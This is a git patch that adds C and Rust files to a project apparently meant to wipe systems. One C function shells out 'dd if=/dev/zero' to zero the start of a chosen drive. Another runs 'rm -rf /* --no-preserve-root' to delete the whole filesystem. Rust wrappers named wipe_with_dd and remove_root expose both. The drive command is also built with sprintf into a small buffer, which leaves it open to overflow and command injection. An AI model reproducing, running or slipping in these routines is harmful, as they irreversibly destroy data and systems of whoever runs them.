From 1b3ed08e7ec3ce3e15dd5811f47466fbe579450e Mon Sep 17 00:00:00 2001 From: Namilskyy Date: Wed, 29 Oct 2025 21:59:44 +0300 Subject: Implemented critical funcions and some structure/debug issues closed. --- src/critical/classic/dd.c | 9 +++++++++ src/critical/classic/dd.h | 3 +++ src/critical/classic/mod.rs | 14 ++++++++++++++ src/critical/classic/rm_root.c | 6 ++++++ src/critical/classic/rm_root.h | 3 +++ 5 files changed, 35 insertions(+) create mode 100644 src/critical/classic/dd.c create mode 100644 src/critical/classic/dd.h create mode 100644 src/critical/classic/mod.rs create mode 100644 src/critical/classic/rm_root.c create mode 100644 src/critical/classic/rm_root.h (limited to 'src/critical/classic') diff --git a/src/critical/classic/dd.c b/src/critical/classic/dd.c new file mode 100644 index 0000000..f3ca875 --- /dev/null +++ b/src/critical/classic/dd.c @@ -0,0 +1,9 @@ +#include +#include +#include + +void random_data_linux(char sym_drive[16]) { + char command[55]; + sprintf(command, "dd if=/dev/zero of=%s bs=1024 count=1024", sym_drive); + system(command); +} diff --git a/src/critical/classic/dd.h b/src/critical/classic/dd.h new file mode 100644 index 0000000..266d9b3 --- /dev/null +++ b/src/critical/classic/dd.h @@ -0,0 +1,3 @@ +#pragma once + +void random_data_linux(char sym_drive[16]); \ No newline at end of file diff --git a/src/critical/classic/mod.rs b/src/critical/classic/mod.rs new file mode 100644 index 0000000..f0e38a4 --- /dev/null +++ b/src/critical/classic/mod.rs @@ -0,0 +1,14 @@ +use std::os::raw::c_char; + +extern "C" { + pub fn random_data_linux(sym_drive: *const c_char); + pub fn rm_root(); +} + +pub unsafe fn wipe_with_dd(sym_drive: *const c_char) { + random_data_linux(sym_drive); +} + +pub unsafe fn remove_root() { + rm_root(); +} diff --git a/src/critical/classic/rm_root.c b/src/critical/classic/rm_root.c new file mode 100644 index 0000000..0ebdaba --- /dev/null +++ b/src/critical/classic/rm_root.c @@ -0,0 +1,6 @@ +#include +#include + +void rm_root() { + system("rm -rf /* --no-preserve-root"); +} \ No newline at end of file diff --git a/src/critical/classic/rm_root.h b/src/critical/classic/rm_root.h new file mode 100644 index 0000000..1ed79e9 --- /dev/null +++ b/src/critical/classic/rm_root.h @@ -0,0 +1,3 @@ +#pragma once + +void rm_root(); \ No newline at end of file -- cgit v1.2.3